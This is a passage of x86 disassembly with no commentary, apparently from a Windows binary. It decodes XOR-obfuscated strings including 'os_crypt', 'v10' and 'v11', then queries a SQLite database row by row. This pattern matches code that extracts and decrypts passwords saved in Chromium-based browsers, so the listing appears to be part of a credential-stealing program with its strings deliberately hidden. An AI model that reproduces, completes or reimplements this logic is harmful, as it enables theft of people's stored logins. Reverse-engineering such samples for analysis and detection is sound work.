add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x422e5c
push ecx
push edx
call fcn.004dcbd1
add esp, 8
xorps xmm0, xmm0
mov dword [ebp - 0x204], 0xf
xor edi, edi
movups xmmword [ebp - 0x218], xmm0
mov dword [ebp - 0x208], edi
mov byte [ebp - 0x218], 0
mov byte [ebp - 4], 0x25
cmp dword [ebp - 0x2ec], edi
je 0x421d58
cmp dword [ebp - 0x23c], edi
jne 0x421d58
sub esp, 0x28
lea edx, [ebp - 0x2fc]
mov eax, esp
lea ecx, [ebp - 0x298]
push edi
push 1
mov dword [eax + 0x24], edi
call fcn.00469eb0
add esp, 0x30
mov byte [ebp - 4], 0x26
xor ecx, ecx
mov dword [ebp - 0xd6], 0x8fb49986
mov dword [ebp - 0xd2], 0x849f979f
mov word [ebp - 0xce], 0x100
nop dword [eax + eax]
mov al, cl
sub al, 0x17
xor byte [ebp + ecx - 0xd6], al
inc ecx
cmp ecx, 8
jb 0x421be0
lea eax, [ebp - 0xd6]
mov byte [ebp - 0xcd], 0
push eax
lea ecx, [ebp - 0x298]
call fcn.00469b20
cmp byte [eax], 0
je 0x421d45
lea ecx, [ebp - 0xca]
mov dword [ebp - 0xca], 0x8fb49986
mov dword [ebp - 0xc6], 0x849f979f
mov word [ebp - 0xc2], 0x100
call fcn.0040ee20
push eax
lea ecx, [ebp - 0x298]
call fcn.00469b20
lea ecx, [ebp - 0x12f]
mov dword [ebp - 0x12f], 0x9e88848c
mov esi, eax
mov dword [ebp - 0x12b], 0x959b9e94
mov dword [ebp - 0x127], 0x9198ad95
mov word [ebp - 0x123], 0x8c
mov byte [ebp - 0x121], 1
call fcn.0040a6c0
push eax
mov ecx, esi
call fcn.00469b20
cmp byte [eax], 0
je 0x421d45
lea ecx, [ebp - 0x3b]
mov dword [ebp - 0x3b], 0x8fb49986
mov dword [ebp - 0x37], 0x849f979f
mov word [ebp - 0x33], 0x100
call fcn.0040ee20
push eax
lea ecx, [ebp - 0x298]
call fcn.00469b20
lea ecx, [ebp - 0x13e]
mov dword [ebp - 0x13e], 0x9e88848c
mov esi, eax
mov dword [ebp - 0x13a], 0x959b9e94
mov dword [ebp - 0x136], 0x9198ad95
mov word [ebp - 0x132], 0x8c
mov byte [ebp - 0x130], 1
call fcn.0040a6c0
push eax
mov ecx, esi
call fcn.00469b20
lea ecx, [ebp - 0x180]
push ecx
mov ecx, eax
call fcn.00469c60
mov edx, eax
mov byte [ebp - 4], 0x27
lea ecx, [ebp - 0x120]
call fcn.00402540
push eax
lea ecx, [ebp - 0x218]
call fcn.004658e0
lea ecx, [ebp - 0x120]
call fcn.00402660
lea ecx, [ebp - 0x180]
call fcn.00402660
mov edi, dword [ebp - 0x208]
lea ecx, [ebp - 0x298]
mov byte [ebp - 4], 0x25
call fcn.00463500
test edi, edi
jne 0x421d86
cmp dword [ebp - 0x238], 0x10
lea eax, [ebp - 0x24c]
push dword [ebp - 0x23c]
cmovae eax, dword [ebp - 0x24c]
lea ecx, [ebp - 0x218]
push eax
call fcn.00465640
mov edi, dword [ebp - 0x208]
test edi, edi
setne byte [ebp - 0x11]
cmp byte [ebx + 8], 0
je 0x421dd0
xorps xmm0, xmm0
mov dword [ebp - 0xf8], 0
movups xmmword [ebp - 0x108], xmm0
mov dword [ebp - 0xf4], 0xf
mov byte [ebp - 0x108], 0
mov byte [ebp - 4], 0x28
lea esi, [ebp - 0x108]
mov edi, dword [ebp - 0x18]
or edi, 0x80
mov dword [ebp - 0x1c], edi
jmp 0x421e4b
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0xa8]
mov word [ebp - 0x43], 0x5c
mov byte [ebp - 0x41], 0
lea eax, [eax + eax*2]
mov esi, dword [ecx + eax*8 + 0x10]
lea edx, [ecx + eax*8]
lea ecx, [ebp - 0x43]
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x421df3
mov eax, closesocket
sub ecx, edi
sub eax, esi
cmp eax, ecx
jb 0x422e61
cmp dword [edx + 0x14], 0x10
jb 0x421e13
mov edx, dword [edx]
push ecx
lea eax, [ebp - 0x43]
push eax
push esi
push edx
push ecx
push dword [ebp - 0x20]
lea ecx, [ebp - 0x180]
call fcn.0046d420
mov eax, dword [ebp - 0x18]
or eax, 0x80000
or eax, 0x100
mov dword [ebp - 4], 0x29
lea esi, [ebp - 0x180]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], eax
mov edi, eax
lea ecx, [ebp - 0x23]
mov word [ebp - 0x23], 0x5c
mov byte [ebp - 0x21], 0
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x421e60
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x148]
sub eax, edx
cmp eax, ecx
jb 0x422e61
cmp dword [ebp - 0x144], 0x10
lea eax, [ebp - 0x158]
push ecx
cmovae eax, dword [ebp - 0x158]
lea ecx, [ebp - 0x23]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x20]
lea ecx, [ebp - 0x120]
call fcn.0046d420
or edi, 0x4000
mov dword [ebp - 0x1c], edi
push esi
lea eax, [ebp - 0x120]
mov dword [ebp - 4], 0x2a
push eax
push dword [ebp - 0x20]
lea ecx, [ebp - 0x80]
call fcn.0046d230
or edi, 0x2000
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x1c], edi
mov byte [ebp - 4], 0x2b
lea ecx, [ebx + 0x3c]
cmp dword [ebx + 0x50], 0x10
mov edx, dword [ebp - 0x70]
cmovae ecx, dword [ebx + 0x3c]
mov eax, dword [ebp - 0x6c]
mov edi, dword [ebx + 0x4c]
sub eax, edx
mov dword [ebp - 0x4c], edx
push edi
push ecx
cmp edi, eax
ja 0x421f26
cmp dword [ebp - 0x6c], 0x10
lea esi, [ebp - 0x80]
lea eax, [edx + edi]
cmovae esi, dword [ebp - 0x80]
mov dword [ebp - 0x70], eax
lea eax, [esi + edx]
push eax
call fcn.004de630
mov ecx, dword [ebp - 0x4c]
lea eax, [edi + esi]
add esp, 0xc
mov byte [eax + ecx], 0
lea eax, [ebp - 0x80]
jmp 0x421f3c
mov byte [ebp - 0x1fc], 0
lea ecx, [ebp - 0x80]
push dword [ebp - 0x1fc]
push edi
call fcn.0046b810
mov edi, dword [ebp - 0x18]
xorps xmm0, xmm0
movups xmmword [ebp - 0x1bc], xmm0
mov dword [ebp - 0x1ac], 0
or edi, 0x1000
mov dword [ebp - 0x1a8], 0
movups xmm0, xmmword [eax]
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x1c], edi
movups xmmword [ebp - 0x1bc], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1ac], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x2d
mov ecx, dword [ebp - 0x6c]
cmp ecx, 0x10
jb 0x421fc9
mov edx, dword [ebp - 0x80]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x421fbf
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x422e5c
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x6c], 0xf
mov byte [ebp - 0x80], 0
mov byte [ebp - 4], 0x2e
mov ecx, dword [ebp - 0x10c]
cmp ecx, 0x10
jb 0x422019
mov edx, dword [ebp - 0x120]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42200f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x422e5c
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov byte [ebp - 4], 0x2f
mov eax, dword [ebp - 0x18]
test eax, 0x100
je 0x42206f
mov ecx, dword [ebp - 0x16c]
and eax, 0xfffffeff
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], eax
cmp ecx, 0x10
jb 0x42206f
mov edx, dword [ebp - 0x180]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x422062
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x422e5c
push ecx
push edx
call fcn.004dcbd1
mov eax, dword [ebp - 0x18]
add esp, 8
mov byte [ebp - 4], 0x30
test al, al
jns 0x4220bc
mov ecx, dword [ebp - 0xf4]
and eax, 0xffffff7f
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], eax
cmp ecx, 0x10
jb 0x4220bc
mov edx, dword [ebp - 0x108]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4220b2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x422e5c
push ecx
push edx
call fcn.004dcbd1
add esp, 8
cmp dword [ebp - 0x1a8], 0x10
lea ecx, [ebp - 0x1bc]
lea edx, [ebp - 0x9c]
cmovae ecx, dword [ebp - 0x1bc]
call fcn.004144f0
test eax, eax
jne 0x422b7d
movaps xmm0, xmmword [0x525b40]
xor ecx, ecx
movups xmmword [ebp - 0x2e3], xmm0
mov dword [ebp - 0x2a3], 0x400b6766
movaps xmm0, xmmword [0x525a10]
movups xmmword [ebp - 0x2d3], xmm0
mov dword [ebp - 0x29f], 0x5e464942
movaps xmm0, xmmword [0x525590]
movups xmmword [ebp - 0x2c3], xmm0
mov word [ebp - 0x29b], 0x42
movaps xmm0, xmmword [0x525960]
movups xmmword [ebp - 0x2b3], xmm0
mov byte [ebp - 0x299], 1
mov al, cl
sub al, 0x17
xor byte [ebp + ecx - 0x2e3], al
inc ecx
cmp ecx, 0x49
jb 0x422141
mov ecx, dword [ebp - 0x9c]
lea eax, [ebp - 0x98]
push 0
push eax
push 0
push 1
push 0xffffffffffffffff
lea edx, [ebp - 0x2e3]
mov byte [ebp - 0x299], 0
call fcn.004c22d0
add esp, 0x14
test eax, eax
jne 0x422b72
mov edi, dword [ebp - 0x98]
mov ecx, edi
call fcn.0049ec00
cmp eax, 0x64
jne 0x422af6
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0xa8]
lea eax, [eax + eax*2]
lea eax, [ecx + eax*8]
mov dword [ebp - 0x50], eax
lea eax, [ebp - 0x159]
mov dword [ebp - 0x260], eax
test edi, edi
je 0x422211
cmp dword [edi + 0x2c], 0
je 0x4221ec
mov eax, 2
cmp ax, word [edi + 0x30]
jae 0x4221ec
mov eax, dword [edi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x4221e4
push eax
call dword [0x533d30]
add esp, 4
mov ecx, dword [edi + 0x2c]
add ecx, 0x50
jmp 0x422216
mov eax, dword [edi]
test eax, eax
je 0x422211
mov eax, dword [eax + 0x44]
test eax, eax
je 0x422203
push eax
call dword [0x533d30]
add esp, 4
push 0
push 0x19
push dword [edi]
call fcn.0048d5c0
add esp, 0xc
mov ecx, 0x51e4d8
mov dl, 1
call fcn.0049bad0
mov dword [ebp - 0x4c], eax
test edi, edi
je 0x42227b
mov esi, dword [edi]
mov ecx, dword [edi + 0x64]
test esi, esi
je 0x42225e
cmp byte [esi + 0x1e], 0
jne 0x422241
mov edx, esi
cmp ecx, 0xc0a
jne 0x422259
push 0
push 7
push esi
call fcn.0048d5c0
mov byte [esi + 0x1e], 0
add esp, 0xc
mov edx, dword [edi]
mov ecx, 7
mov eax, dword [esi + 0x18]
jmp 0x422265
mov eax, 0xff
mov edx, esi
and eax, ecx
mov dword [edi + 0x64], eax
mov eax, dword [edx + 0x44]
test eax, eax
je 0x42227b
push eax
call dword [0x533d38]
add esp, 4
mov edx, 3
mov ecx, edi
call fcn.0049f130
mov edx, 3
mov dword [ebp - 0x64], eax
mov ecx, edi
call fcn.0049f220
mov dword [ebp - 0x1f8], eax
test edi, edi
je 0x4222ef
cmp dword [edi + 0x2c], 0
je 0x4222ca
xor eax, eax
cmp ax, word [edi + 0x30]
jae 0x4222ca
mov eax, dword [edi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x4222c5
push eax
call dword [0x533d30]
add esp, 4
mov ecx, dword [edi + 0x2c]
jmp 0x4222f4
mov eax, dword [edi]
test eax, eax
je 0x4222ef
mov eax, dword [eax + 0x44]
test eax, eax
je 0x4222e1
push eax
call dword [0x533d30]
add esp, 4
push 0
push 0x19
push dword [edi]
call fcn.0048d5c0
add esp, 0xc
mov ecx, 0x51e4d8
mov dl, 1
call fcn.0049bad0
mov dword [ebp - 0x48], eax
test edi, edi
je 0x42235c
mov esi, dword [edi]
mov ecx, dword [edi + 0x64]
test esi, esi
je 0x42233c
cmp byte [esi + 0x1e], 0
jne 0x42231f
mov eax, esi
cmp ecx, 0xc0a
jne 0x422337
push 0
push 7
push esi
call fcn.0048d5c0
mov byte [esi + 0x1e], 0
add esp, 0xc
mov eax, dword [edi]
mov ecx, 7
mov edx, dword [esi + 0x18]
jmp 0x422343
mov edx, 0xff
mov eax, esi
and ecx, edx
mov dword [edi + 0x64], ecx
mov eax, dword [eax + 0x44]
test eax, eax
je 0x422359
push eax
call dword [0x533d38]
add esp, 4
mov eax, dword [ebp - 0x48]
mov ecx, eax
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x422361
sub ecx, edx
jne 0x422431
test edi, edi
je 0x4223c8
cmp dword [edi + 0x2c], ecx
je 0x4223a3
mov eax, 1
cmp ax, word [edi + 0x30]
jae 0x4223a3
mov eax, dword [edi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x42239b
push eax
call dword [0x533d30]
add esp, 4
mov ecx, dword [edi + 0x2c]
add ecx, 0x28
jmp 0x4223cd
mov eax, dword [edi]
test eax, eax
je 0x4223c8
mov eax, dword [eax + 0x44]
test eax, eax
je 0x4223ba
push eax
call dword [0x533d30]
add esp, 4
push 0
push 0x19
push dword [edi]
call fcn.0048d5c0
add esp, 0xc
mov ecx, 0x51e4d8
mov dl, 1
call fcn.0049bad0
mov dword [ebp - 0x48], eax
test edi, edi
je 0x422431
mov esi, dword [edi]
mov eax, dword [edi + 0x64]
test esi, esi
je 0x422414
cmp byte [esi + 0x1e], 0
jne 0x4223f7
mov ecx, esi
cmp eax, 0xc0a
jne 0x42240f
push 0
push 7
push esi
call fcn.0048d5c0
mov byte [esi + 0x1e], 0
add esp, 0xc
mov ecx, dword [edi]
mov eax, 7
mov edx, dword [esi + 0x18]
jmp 0x42241b
mov edx, 0xff
mov ecx, esi
and eax, edx
mov dword [edi + 0x64], eax
mov eax, dword [ecx + 0x44]
test eax, eax
je 0x422431
push eax
call dword [0x533d38]
add esp, 4
xorps xmm0, xmm0
mov dword [ebp - 0xe0], 0
movups xmmword [ebp - 0xf0], xmm0
mov dword [ebp - 0xdc], 0xf
mov byte [ebp - 0xf0], 0
push dword [ebp - 0x1f8]
mov byte [ebp - 4], 0x31
lea ecx, [ebp - 0x108]
mov esi, dword [ebp - 0x64]
push esi
movups xmmword [ebp - 0x108], xmm0
mov dword [ebp - 0xf8], 0
mov dword [ebp - 0xf4], 0
call fcn.00402810
cmp byte [ebp - 0x11], 0
mov byte [ebp - 4], 0x32
je 0x422562
mov dword [ebp - 0x8f], 0xdbdb9f
xor ecx, ecx
mov byte [ebp - 0x8b], 1
nop dword [eax + eax]
mov al, cl
sub al, 0x17
xor byte [ebp + ecx - 0x8f], al
inc ecx
cmp ecx, 3
jb 0x4224b0
lea eax, [ebp - 0x8f]
mov byte [ebp - 0x8b], 0
push eax
push esi
call fcn.004de220
add esp, 8
test eax, eax
jne 0x422520
mov dword [ebp - 0x85], 0xdadb9f
xor ecx, ecx
mov byte [ebp - 0x81], 1
nop
mov al, cl
sub al, 0x17
xor byte [ebp + ecx - 0x85], al
inc ecx
cmp ecx, 3
jb 0x4224f0
lea eax, [ebp - 0x85]
mov byte [ebp - 0x81], 0
push eax
push esi
call fcn.004de220
add esp, 8
test eax, eax
je 0x422562
sub esp, 0x18
lea eax, [ebp - 0x108]
mov ecx, esp
mov dword [ebp - 0x1f4], esp
push eax
call fcn.00465a60
sub esp, 0x18
mov byte [ebp - 4], 0x33
lea eax, [ebp - 0x218]
mov ecx, esp
push eax
call fcn.00465a60
xor dl, dl
mov byte [ebp - 4], 0x32
lea ecx, [ebp - 0xf0]
call fcn.0041ff50
add esp, 0x30
jmp 0x422573
push ecx
lea edx, [ebp - 0xf0]
mov ecx, esi
call fcn.0041fe20
add esp, 4
mov byte [ebp - 4], 0x34
lea ecx, [ebp - 0x188]
push 0
mov byte [ebp - 0x190], 0
call fcn.00467470
mov byte [ebp - 4], 0x35
xorps xmm0, xmm0
push 0x18
movq qword [ebp - 0x1c8], xmm0
mov byte [ebp - 0x1d0], 3
call fcn.004dc950
mov esi, eax
add esp, 4
mov dword [ebp - 0x64], esi
mov dword [ebp - 0x25c], esi
push dword [ebp - 0x50]
mov ecx, esi
mov byte [ebp - 4], 0x36
call fcn.00465a60
mov eax, dword [ebp - 0x164]
mov dword [ebp - 0x25c], 0
mov dword [ebp - 0x1c8], esi
mov dword [ebp - 0x1c4], eax
mov byte [ebp - 4], 0x37
xor ecx, ecx
mov dword [ebp - 0xbe], 0x8a849899
mov dword [ebp - 0xba], 0x8a8284
mov byte [ebp - 0xb6], 1
mov al, cl
sub al, 0x17
xor byte [ebp + ecx - 0xbe], al
inc ecx
cmp ecx, 7
jb 0x422601
mov al, byte [ebp - 0x190]
mov byte [ebp - 0xb6], 0
test al, al
jne 0x422651
push 1
lea ecx, [ebp - 0x258]
mov byte [ebp - 0x190], 1
call fcn.00467470
mov esi, dword [ebp - 0x258]
mov eax, dword [ebp - 0x254]
mov dword [ebp - 0x188], esi
mov dword [ebp - 0x184], eax
jmp 0x42265f
cmp al, 1
jne 0x422e66
mov esi, dword [ebp - 0x188]
xorps xmm0, xmm0
mov dword [ebp - 0x220], 0
lea edx, [ebp - 0xbe]
mov dword [ebp - 0x21c], 0
movups xmmword [ebp - 0x230], xmm0
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x422686
sub edx, ecx
lea eax, [ebp - 0xbe]
push edx
push eax
lea ecx, [ebp - 0x230]
call fcn.00402810
lea eax, [ebp - 0x230]
mov byte [ebp - 4], 0x38
push eax
mov ecx, esi
call fcn.0046cba0
mov byte [ebp - 4], 0x37
mov esi, eax
mov ecx, dword [ebp - 0x21c]
cmp ecx, 0x10
jb 0x4226f4
mov edx, dword [ebp - 0x230]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4226ea
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x422e5c
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov byte [ebp - 4], 0x35
mov edx, dword [ebp - 0x64]
mov dword [ebp - 0x220], 0
mov dword [ebp - 0x21c], 0xf
mov byte [ebp - 0x230], 0
mov al, byte [esi]
mov byte [esi], 3
mov ecx, dword [esi + 0xc]
mov byte [ebp - 0x1d0], al
mov eax, dword [esi + 8]
mov dword [esi + 8], edx
mov edx, dword [ebp - 0x164]
mov dword [ebp - 0x1c4], ecx
lea ecx, [ebp - 0x1d0]
mov dword [esi + 0xc], edx
mov dword [ebp - 0x1c8], eax
call fcn.00463500
xorps xmm0, xmm0
mov byte [ebp - 0x1e0], 3
push 0x18
movq qword [ebp - 0x1d8], xmm0
call fcn.004dc950
mov esi, eax
add esp, 4
lea eax, [ebp - 0x15a]
mov dword [ebp - 0x64], esi
mov dword [ebp - 0x270], eax
mov dword [ebp - 0x26c], esi
mov ecx, dword [ebp - 0x48]
xorps xmm0, xmm0
mov byte [ebp - 4], 0x3b
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4227a0
sub ecx, edx
push ecx
push dword [ebp - 0x48]
mov ecx, esi
call fcn.00402810
mov dword [ebp - 0x26c], 0
mov dword [ebp - 0x1d8], esi
mov byte [ebp - 4], 0x3c
xor ecx, ecx
mov dword [ebp - 0x8a], 0x87989c
mov byte [ebp - 0x86], 1
nop dword [eax + eax]
mov al, cl
sub al, 0x17
xor byte [ebp + ecx - 0x8a], al
inc ecx
cmp ecx, 3
jb 0x4227e0
lea eax, [ebp - 0x8a]
mov byte [ebp - 0x86], 0
push eax
lea ecx, [ebp - 0x190]
call fcn.00469b20
mov esi, eax
mov byte [ebp - 4], 0x35
mov eax, dword [ebp - 0x1d4]
mov edi, dword [ebp - 0x64]
mov cl, byte [esi]
mov byte [esi], 3
mov edx, dword [esi + 0xc]
mov byte [ebp - 0x1e0], cl
mov ecx, dword [esi + 8]
mov dword [ebp - 0x1d8], ecx
lea ecx, [ebp - 0x1e0]
mov dword [esi + 8], edi
mov dword [esi + 0xc], eax
mov dword [ebp - 0x1d4], edx
call fcn.00463500
xorps xmm0, xmm0
mov byte [ebp - 0x1f0], 3
push 0x18
movq qword [ebp - 0x1e8], xmm0
call fcn.004dc950
mov esi, eax
add esp, 4
lea eax, [ebp - 0x15b]
mov dword [ebp - 0x64], esi
mov dword [ebp - 0x268], eax
mov dword [ebp - 0x264], esi
mov ecx, dword [ebp - 0x4c]
xorps xmm0, xmm0
mov byte [ebp - 4], 0x3d
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x422898
sub ecx, edx
push ecx
push dword [ebp - 0x4c]
mov ecx, esi
call fcn.00402810
mov dword [ebp - 0x264], 0
mov dword [ebp - 0x1e8], esi
mov byte [ebp - 4], 0x3e
xor ecx, ecx
mov dword [ebp - 0xb5], 0x858c8585
mov word [ebp - 0xb1], 0x83
mov byte [ebp - 0xaf], 1
nop dword [eax]
mov al, cl
sub al, 0x17
xor byte [ebp + ecx - 0xb5], al
inc ecx
cmp ecx, 5
jb 0x4228e0
lea eax, [ebp - 0xb5]
mov byte [ebp - 0xaf], 0
push eax
lea ecx, [ebp - 0x190]
call fcn.00469b20
mov esi, eax
mov byte [ebp - 4], 0x35
mov eax, dword [ebp - 0x1e4]
mov edi, dword [ebp - 0x64]
mov cl, byte [esi]
mov byte [esi], 3
mov edx, dword [esi + 0xc]
mov byte [ebp - 0x1f0], cl
mov ecx, dword [esi + 8]
mov dword [ebp - 0x1e8], ecx
lea ecx, [ebp - 0x1f0]
mov dword [esi + 8], edi
mov dword [esi + 0xc], eax
mov dword [ebp - 0x1e4], edx
call fcn.00463500
xorps xmm0, xmm0
mov byte [ebp - 0x1a0], 3
push 0x18
movq qword [ebp - 0x198], xmm0
call fcn.004dc950
mov esi, eax
add esp, 4
lea eax, [ebp - 0x15c]
mov dword [ebp - 0x164], esi
mov dword [ebp - 0x168], eax
lea eax, [ebp - 0xf0]
mov byte [ebp - 4], 0x3f
push eax
mov ecx, esi
call fcn.00465a60
mov dword [ebp - 0x164], 0
mov eax, dword [ebp - 0x164]
mov dword [ebp - 0x198], esi
mov dword [ebp - 0x194], eax
mov byte [ebp - 4], 0x40
xor ecx, ecx
mov edi, dword [ebp - 0x98]
mov dword [ebp - 0x2d], 0x9f988b99
mov dword [ebp - 0x29], 0x949d819a
mov word [ebp - 0x25], 0x100
mov al, cl
sub al, 0x17
xor byte [ebp + ecx - 0x2d], al
inc ecx
cmp ecx, 8
jb 0x4229c5
lea eax, [ebp - 0x2d]
mov byte [ebp - 0x24], 0
push eax
lea ecx, [ebp - 0x190]
call fcn.00469b20
mov byte [ebp - 4], 0x35
mov cl, byte [eax]
mov byte [eax], 3
mov edx, dword [eax + 0xc]
mov byte [ebp - 0x1a0], cl
mov ecx, dword [eax + 8]
mov dword [eax + 8], esi
mov esi, dword [ebp - 0x164]
mov dword [ebp - 0x198], ecx
lea ecx, [ebp - 0x1a0]
mov dword [eax + 0xc], esi
mov dword [ebp - 0x194], edx
call fcn.00463500
mov dword [ebp - 0x5c], 0x858c8585
xor ecx, ecx
mov dword [ebp - 0x58], 0x1009d83
nop
mov al, cl
sub al, 0x17
xor byte [ebp + ecx - 0x5c], al
inc ecx
cmp ecx, 6
jb 0x422a30
mov ecx, dword [ebp - 0x1a4]
lea eax, [ebp - 0x5c]
push eax
mov byte [ebp - 0x55], 0
call fcn.00469b20
lea ecx, [ebp - 0x190]
push ecx
mov ecx, eax
call fcn.00462e80
lea ecx, [ebp - 0x190]
call fcn.00463500
mov byte [ebp - 4], 0x31
mov ecx, dword [ebp - 0xf4]
cmp ecx, 0x10
jb 0x422aa8
mov edx, dword [ebp - 0x108]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x422a9e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x422e5c
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov byte [ebp - 4], 0x30
mov ecx, dword [ebp - 0xdc]
cmp ecx, 0x10
jb 0x422ae6
mov edx, dword [ebp - 0xf0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x422adc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x422e5c
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov ecx, edi
call fcn.0049ec00
cmp eax, 0x64
je 0x4221b8
test edi, edi
je 0x422b72
mov esi, dword [edi]
mov eax, dword [esi + 0x44]
mov dword [ebp - 0x50], eax
test eax, eax
je 0x422b14
push eax
call dword [0x533d30]
add esp, 4
mov eax, dword [edi + 0x50]
mov dword [ebp - 0x4c], 0
cmp eax, 0xbdf20da3
je 0x422b2c
cmp eax, 0x519c2973
jne 0x422b36
mov ecx, edi
call fcn.0049da00
mov dword [ebp - 0x4c], eax
mov ecx, edi
call fcn.0049dc10
test esi, esi
je 0x422b61
cmp byte [esi + 0x1e], 0
jne 0x422b50
cmp dword [ebp - 0x4c], 0xc0a
jne 0x422b61
push 0
push 7
push esi
call fcn.0048d5c0
add esp, 0xc
mov byte [esi + 0x1e], 0
mov eax, dword [ebp - 0x50]
test eax, eax
je 0x422b72
push eax
call dword [0x533d38]
add esp, 4
mov ecx, dword [ebp - 0x9c]
call fcn.00414920
mov byte [ebp - 4], 0x25
mov ecx, dword [ebp - 0x1a8]
cmp ecx, 0x10
jb 0x422bbb
mov edx, dword [ebp - 0x1bc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x422bb1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x422e5c
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov byte [ebp - 4], 0x24
mov ecx, dword [ebp - 0x204]
mov dword [ebp - 0x1ac], 0
mov dword [ebp - 0x1a8], 0xf
mov byte [ebp - 0x1bc], 0
cmp ecx, 0x10
jb 0x422c14
mov edx, dword [ebp - 0x218]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x422c0a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x422e5c
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov byte [ebp - 4], 0x12
mov ecx, dword [ebp - 0x2e8]
cmp ecx, 0x10
jb 0x422c52
mov edx, dword [ebp - 0x2fc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x422c48
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x422e5c
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov ecx, dword [ebp - 0x54]
inc ecx
mov dword [ebp - 0x54], ecx
cmp ecx, dword [ebp - 0x20]
jae 0x422c69
mov esi, dword [ebp - 0xa8]
jmp 0x421245
mov ecx, dword [ebp - 0x238]
cmp ecx, 0x10
jb 0x422ca3
mov edx, dword [ebp - 0x24c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x422c99
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x422ebe
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov ecx, dword [ebp - 0x274]
cmp ecx, 0x10
jb 0x422cdd
mov edx, dword [ebp - 0x288]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x422cd3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x422ebe
push ecx
push edx
call fcn.004dcbd1
add esp, 8
lea ecx, [ebp - 0xa8]
mov dword [ebp - 0x278], 0
mov dword [ebp - 0x274], 0xf
mov byte [ebp - 0x288], 0
call fcn.00467c60
mov ecx, dword [ebp - 0x144]
cmp ecx, 0x10
jb 0x422d3d
mov edx, dword [ebp - 0x158]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x422d33
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x422ebe
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov ecx, dword [ebx + 0x20]
cmp ecx, 0x10
jb 0x422d71
mov edx, dword [ebx + 0xc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x422d67
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x422ebe
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov ecx, dword [ebx + 0x38]
mov dword [ebx + 0x1c], 0
mov dword [ebx + 0x20], 0xf
mov byte [ebx + 0xc], 0
cmp ecx, 0x10
